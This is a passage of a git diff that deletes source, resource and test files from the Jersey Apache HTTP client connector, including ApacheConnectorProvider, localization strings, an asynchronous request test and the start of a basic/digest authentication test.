-        public SniSSLConnectionSocketFactory(final SSLContext sslContext,
-                                             final String[] supportedProtocols,
-                                             final String[] supportedCipherSuites,
-                                             final HostnameVerifier hostnameVerifier) {
-            super(sslContext, supportedProtocols, supportedCipherSuites, hostnameVerifier);
-        }
-
-        public SniSSLConnectionSocketFactory(final javax.net.ssl.SSLSocketFactory socketFactory,
-                                             final String[] supportedProtocols,
-                                             final String[] supportedCipherSuites,
-                                             final HostnameVerifier hostnameVerifier) {
-            super(socketFactory, supportedProtocols, supportedCipherSuites, hostnameVerifier);
-        }
-
-        public SniSSLConnectionSocketFactory(
-                final SSLContext sslContext, final HostnameVerifier hostnameVerifier) {
-            super(sslContext, hostnameVerifier);
-        }
-
-        @Override
-        public Socket createLayeredSocket(
-                final Socket socket,
-                final String target,
-                final int port,
-                final HttpContext context) throws IOException {
-            httpContexts.set(context);
-            try {
-                return super.createLayeredSocket(socket, target, port, context);
-            } finally {
-                httpContexts.remove();
-            }
-        }
-
-        @Override
-        protected void prepareSocket(SSLSocket socket) throws IOException {
-            HttpContext context = httpContexts.get();
-
-            if (context != null) {
-                Object objectRequest = context.getAttribute(JERSEY_REQUEST_ATTR_NAME);
-                if (objectRequest != null) {
-                    ClientRequest clientRequest = (ClientRequest) objectRequest;
-                    SSLParamConfigurator sniConfig = SSLParamConfigurator.builder().request(clientRequest)
-                            .setSNIHostName(clientRequest).build();
-                    sniConfig.setSNIServerName(socket);
-                }
-            }
-        }
-    }
-
-    private static class CancellableInputStream extends InputStreamWrapper {
-        private final InputStream in;
-        private final Supplier<Boolean> isCancelled;
-
-        private CancellableInputStream(InputStream in, Supplier<Boolean> isCancelled) {
-            this.in = in;
-            this.isCancelled = isCancelled;
-        }
-
-        @Override
-        protected InputStream getWrapped() {
-            return in;
-        }
-
-        @Override
-        protected InputStream getWrappedIOE() throws IOException {
-            if (isCancelled.get()) {
-                throw new IOException(new CancellationException());
-            }
-            return in;
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnectorProvider.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnectorProvider.java
deleted file mode 100644
index 8aa3877..0000000
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnectorProvider.java
+++ /dev/null
@@ -1,162 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configurable;
-import jakarta.ws.rs.core.Configuration;
-
-import org.glassfish.jersey.client.Initializable;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.client.spi.ConnectorProvider;
-
-import org.apache.http.client.CookieStore;
-import org.apache.http.client.HttpClient;
-
-/**
- * Connector provider for Jersey {@link Connector connectors} that utilize
- * Apache HTTP Client to send and receive HTTP request and responses.
- * <p>
- * The following connector configuration properties are supported:
- * <ul>
- * <li>{@link ApacheClientProperties#CONNECTION_CLOSING_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#CONNECTION_MANAGER}</li>
- * <li>{@link ApacheClientProperties#CONNECTION_MANAGER_SHARED}</li>
- * <li>{@link ApacheClientProperties#CONNECTION_CLOSING_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#CREDENTIALS_PROVIDER}</li>
- * <li>{@link ApacheClientProperties#DISABLE_COOKIES}</li>
- * <li>{@link ApacheClientProperties#KEEPALIVE_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING}
- * - default value is {@link org.glassfish.jersey.client.RequestEntityProcessing#CHUNKED}</li>
- * <li>{@link ApacheClientProperties#REQUEST_CONFIG}</li>
- * <li>{@link ApacheClientProperties#RETRY_HANDLER}</li>
- * <li>{@link ApacheClientProperties#REUSE_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#USE_SYSTEM_PROPERTIES}</li>
- * </ul>
- * </p>
- * <p>
- * Connector instances created via this connector provider use
- * {@link org.glassfish.jersey.client.RequestEntityProcessing#CHUNKED chunked encoding} as a default setting.
- * This can be overridden by the {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING}.
- * By default the {@link org.glassfish.jersey.client.ClientProperties#CHUNKED_ENCODING_SIZE} property is only supported
- * when using the default {@code org.apache.http.conn.HttpClientConnectionManager} instance. If custom
- * connection manager is used, then chunked encoding size can be set by providing a custom
- * {@code org.apache.http.HttpClientConnection} (via custom {@code org.apache.http.impl.conn.ManagedHttpClientConnectionFactory})
- * and overriding it's {@code createOutputStream} method.
- * </p>
- * <p>
- * Use of authorization by the AHC-based connectors is dependent on the chunk encoding setting.
- * If the entity buffering is enabled, the entity is buffered and authorization can be performed
- * automatically in response to a 401 by sending the request again. When entity buffering
- * is disabled (chunked encoding is used) then the property
- * {@link org.glassfish.jersey.apache.connector.ApacheClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION} must
- * be set to {@code true}.
- * </p>
- * <p>
- * If a {@link org.glassfish.jersey.client.ClientResponse} is obtained and an entity is not read from the response then
- * {@link org.glassfish.jersey.client.ClientResponse#close()} MUST be called after processing the response to release
- * connection-based resources.
- * </p>
- * <p>
- * Registration of {@link ApacheHttpClientBuilderConfigurator} instance on the
- * {@link jakarta.ws.rs.client.Client#register(Object) Client} is supported. A configuration provided by
- * {@link ApacheHttpClientBuilderConfigurator} will override the {@link org.apache.http.impl.client.HttpClientBuilder}
- * configuration set by using the properties.
- * </p>
- * <p>
- * If a response entity is obtained that is an instance of {@link java.io.Closeable}
- * then the instance MUST be closed after processing the entity to release
- * connection-based resources.
- * <p/>
- * <p>
- * The following methods are currently supported: HEAD, GET, POST, PUT, DELETE, OPTIONS, PATCH and TRACE.
- * <p/>
- *
- * @author Pavel Bucek
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author jorgeluisw at mac.com
- * @author Marek Potociar
- * @author Paul Sandoz
- * @author Maksim Mukosey (mmukosey at gmail.com)
- * @since 2.5
- */
-public class ApacheConnectorProvider implements ConnectorProvider {
-
-    @Override
-    public Connector getConnector(final Client client, final Configuration runtimeConfig) {
-        return new ApacheConnector(client, runtimeConfig);
-    }
-
-    /**
-     * Retrieve the underlying Apache {@link HttpClient} instance from
-     * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
-     * configured to use {@code ApacheConnectorProvider}.
-     *
-     * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
-     *                  {@code ApacheConnectorProvider}.
-     * @return underlying Apache {@code HttpClient} instance.
-     *
-     * @throws java.lang.IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
-     *                                            nor {@code JerseyWebTarget} instance or in case the component
-     *                                            is not configured to use a {@code ApacheConnectorProvider}.
-     * @since 2.8
-     */
-    public static HttpClient getHttpClient(final Configurable<?> component) {
-        return getConnector(component).getHttpClient();
-    }
-
-    /**
-     * Retrieve the underlying Apache {@link CookieStore} instance from
-     * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
-     * configured to use {@code ApacheConnectorProvider}.
-     *
-     * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
-     *                  {@code ApacheConnectorProvider}.
-     * @return underlying Apache {@code CookieStore} instance.
-     * @throws java.lang.IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
-     *                                            nor {@code JerseyWebTarget} instance or in case the component
-     *                                            is not configured to use a {@code ApacheConnectorProvider}.
-     * @since 2.16
-     */
-    public static CookieStore getCookieStore(final Configurable<?> component) {
-        return getConnector(component).getCookieStore();
-    }
-
-    private static ApacheConnector getConnector(final Configurable<?> component) {
-        if (!(component instanceof Initializable)) {
-            throw new IllegalArgumentException(
-                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
-        }
-
-        final Initializable<?> initializable = (Initializable<?>) component;
-        Connector connector = initializable.getConfiguration().getConnector();
-        if (connector == null) {
-            initializable.preInitialize();
-            connector = initializable.getConfiguration().getConnector();
-        }
-
-        if (connector instanceof ApacheConnector) {
-            return (ApacheConnector) connector;
-        } else {
-            throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheHttpClientBuilderConfigurator.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheHttpClientBuilderConfigurator.java
deleted file mode 100644
index 251a5c4..0000000
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheHttpClientBuilderConfigurator.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.glassfish.jersey.spi.Contract;
-
-/**
- * A callback interface used to configure {@link org.apache.http.impl.client.HttpClientBuilder}. It is called immediately before
- * the {@link ApacheConnectorProvider} creates {@link org.apache.http.client.HttpClient}, after the
- * {@link org.apache.http.impl.client.HttpClientBuilder} is configured using the properties.
- */
-@Contract
-public interface ApacheHttpClientBuilderConfigurator {
-    /**
-     * A callback method to configure the {@link org.apache.http.impl.client.HttpClientBuilder}
-     * @param httpClientBuilder {@link org.apache.http.impl.client.HttpClientBuilder} object to be further configured
-     * @return the configured {@link org.apache.http.impl.client.HttpClientBuilder}. If {@code null} is returned the
-     * {@code httpClientBuilder} is used by {@link ApacheConnectorProvider} instead.
-     */
-    HttpClientBuilder configure(HttpClientBuilder httpClientBuilder);
-}
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/package-info.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/package-info.java
deleted file mode 100644
index fb1072d..0000000
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/package-info.java
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
- * Apache Http Client.
- */
-package org.glassfish.jersey.apache.connector;
diff --git a/connectors/apache-connector/src/main/resources/org/glassfish/jersey/apache/connector/localization.properties b/connectors/apache-connector/src/main/resources/org/glassfish/jersey/apache/connector/localization.properties
deleted file mode 100644
index 3b06461..0000000
--- a/connectors/apache-connector/src/main/resources/org/glassfish/jersey/apache/connector/localization.properties
+++ /dev/null
@@ -1,23 +0,0 @@
-#
-# Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-error.buffering.entity=Error buffering the entity.
-error.reading.httpentity.stream=Error reading InputStream from HttpEntity: "{0}"
-failed.to.stop.client=Failed to stop the client.
-# {0} - property name, e.g. jersey.config.client.httpclient.connectionManager; {1}, {2} - full class name
-ignoring.value.of.property=Ignoring value of property "{0}" ("{1}") - not instance of "{2}".
-invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
-expected.connector.provider.not.used=The supplied component is not configured to use a ApacheConnectorProvider.
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/AsyncTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/AsyncTest.java
deleted file mode 100644
index 952fe83..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/AsyncTest.java
+++ /dev/null
@@ -1,242 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.container.AsyncResponse;
-import jakarta.ws.rs.container.Suspended;
-import jakarta.ws.rs.container.TimeoutHandler;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.hamcrest.Matchers;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * Asynchronous connector test.
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- */
-public class AsyncTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
-    private static final String PATH = "async";
-
-    /**
-     * Asynchronous test resource.
-     */
-    @Path(PATH)
-    public static class AsyncResource {
-        /**
-         * Typical long-running operation duration.
-         */
-        public static final long OPERATION_DURATION = 1000;
-
-        /**
-         * Long-running asynchronous post.
-         *
-         * @param asyncResponse async response.
-         * @param id            post request id (received as request payload).
-         */
-        @POST
-        public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
-            LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(OPERATION_DURATION);
-                        return "DONE-" + id;
-                    } catch (InterruptedException e) {
-                        Thread.currentThread().interrupt();
-                        return "INTERRUPTED-" + id;
-                    } finally {
-                        LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
-                    }
-                }
-            }, "async-post-runner-" + id).start();
-        }
-
-        /**
-         * Long-running async get request that times out.
-         *
-         * @param asyncResponse async response.
-         */
-        @GET
-        @Path("timeout")
-        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
-            LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
-            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
-
-                @Override
-                public void handleTimeout(AsyncResponse asyncResponse) {
-                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
-                            .entity("Operation time out.").build());
-                }
-            });
-            asyncResponse.setTimeout(1, TimeUnit.SECONDS);
-
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
-                    // simulated using sleep()
-                    try {
-                        Thread.sleep(5 * OPERATION_DURATION);
-                        return "DONE";
-                    } catch (InterruptedException e) {
-                        Thread.currentThread().interrupt();
-                        return "INTERRUPTED";
-                    } finally {
-                        LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
-                    }
-                }
-            }).start();
-        }
-
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(AsyncResource.class)
-                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    /**
-     * Test asynchronous POST.
-     *
-     * Send 3 async POST requests and wait to receive the responses. Check the response content and
-     * assert that the operation did not take more than twice as long as a single long operation duration
-     * (this ensures async request execution).
-     *
-     * @throws Exception in case of a test error.
-     */
-    @Test
-    public void testAsyncPost() throws Exception {
-        final long tic = System.currentTimeMillis();
-
-        // Submit requests asynchronously.
-        final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1"));
-        final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2"));
-        final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3"));
-        // get() waits for the response
-
-        // workaround for AHC default connection manager limitation of
-        // only 2 open connections per host that may intermittently block
-        // the test
-        final CountDownLatch latch = new CountDownLatch(3);
-        ExecutorService executor = Executors.newFixedThreadPool(3);
-
-        final Future<String> r1 = executor.submit(new Callable<String>() {
-            @Override
-            public String call() throws Exception {
-                try {
-                    return rf1.get().readEntity(String.class);
-                } finally {
-                    latch.countDown();
-                }
-            }
-        });
-        final Future<String> r2 = executor.submit(new Callable<String>() {
-            @Override
-            public String call() throws Exception {
-                try {
-                    return rf2.get().readEntity(String.class);
-                } finally {
-                    latch.countDown();
-                }
-            }
-        });
-        final Future<String> r3 = executor.submit(new Callable<String>() {
-            @Override
-            public String call() throws Exception {
-                try {
-                    return rf3.get().readEntity(String.class);
-                } finally {
-                    latch.countDown();
-                }
-            }
-        });
-
-        assertTrue(latch.await(5 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS), "Waiting for results has timed out.");
-        final long toc = System.currentTimeMillis();
-
-        assertEquals("DONE-1", r1.get());
-        assertEquals("DONE-2", r2.get());
-        assertEquals("DONE-3", r3.get());
-
-        final int asyncTimeoutMultiplier = getAsyncTimeoutMultiplier();
-        LOGGER.info("Using async timeout multiplier: " + asyncTimeoutMultiplier);
-        assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(4 * AsyncResource.OPERATION_DURATION
-                * asyncTimeoutMultiplier));
-
-    }
-
-    /**
-     * Test accessing an operation that times out on the server.
-     *
-     * @throws Exception in case of a test error.
-     */
-    @Test
-    public void testAsyncGetWithTimeout() throws Exception {
-        final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-
-        // get() waits for the response
-        assertEquals(503, response.getStatus());
-        assertEquals("Operation time out.", response.readEntity(String.class));
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/AuthTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/AuthTest.java
deleted file mode 100644
index 507749d..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/AuthTest.java
+++ /dev/null
@@ -1,595 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import jakarta.ws.rs.DELETE;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.UriInfo;
-
-import jakarta.inject.Singleton;
-
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
-import org.glassfish.jersey.client.authentication.ResponseAuthenticationException;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.apache.http.auth.AuthScope;
-import org.apache.http.auth.UsernamePasswordCredentials;
-import org.apache.http.client.CredentialsProvider;
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
-import org.junit.jupiter.api.Disabled;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class AuthTest extends JerseyTest {
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(PreemptiveAuthResource.class, AuthResource.class);
-    }
-
-    @Path("/")
-    public static class PreemptiveAuthResource {
-
-        @GET
-        public String get(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            assertNotNull(value);
-            return "GET";
-        }
-
-        @POST
-        public String post(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            assertNotNull(value);
-            return e;
-        }
-    }
-
-    @Test
-    public void testPreemptiveAuth() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider)
-                .property(ApacheClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, true);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-
-        WebTarget r = client.target(getBaseUri());
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    public void testPreemptiveAuthPost() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider)
-                .property(ApacheClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, true);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-
-        WebTarget r = client.target(getBaseUri());
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-    }
-
-    @Path("/test")
-    @Singleton
-    public static class AuthResource {
-
-        int requestCount = 0;
-        int queryParamsBasicRequestCount = 0;
-        int queryParamsDigestRequestCount = 0;
-
-        @GET
-        public String get(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("filter")
-        public String getFilter(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("basicAndDigest")
-        public String getBasicAndDigest(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"")
-                            .header("WWW-Authenticate", "Digest realm=\"WallyWorld\"")
-                            .entity("Forbidden").build());
-            } else if (value.startsWith("Basic")) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"")
-                            .header("WWW-Authenticate", "Digest realm=\"WallyWorld\"")
-                            .entity("Digest authentication expected").build());
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("noauth")
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("digest")
-        public String getDigest(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Digest realm=\"WallyWorld\"")
-                            .entity("Forbidden").build());
-            }
-
-            return "GET";
-        }
-
-        @POST
-        public String post(@Context HttpHeaders h, String e) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return e;
-        }
-
-        @POST
-        @Path("filter")
-        public String postFilter(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return e;
-        }
-
-        @DELETE
-        public void delete(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-        }
-
-        @DELETE
-        @Path("filter")
-        public void deleteFilter(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-        }
-
-        @DELETE
-        @Path("filter/withEntity")
-        public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return e;
-        }
-
-        @GET
-        @Path("content")
-        public String getWithContent(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"")
-                            .entity("Forbidden").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("contentDigestAuth")
-        public String getWithContentDigestAuth(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Digest nonce=\"1234\"")
-                            .entity("Forbidden").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return "GET";
-        }
-
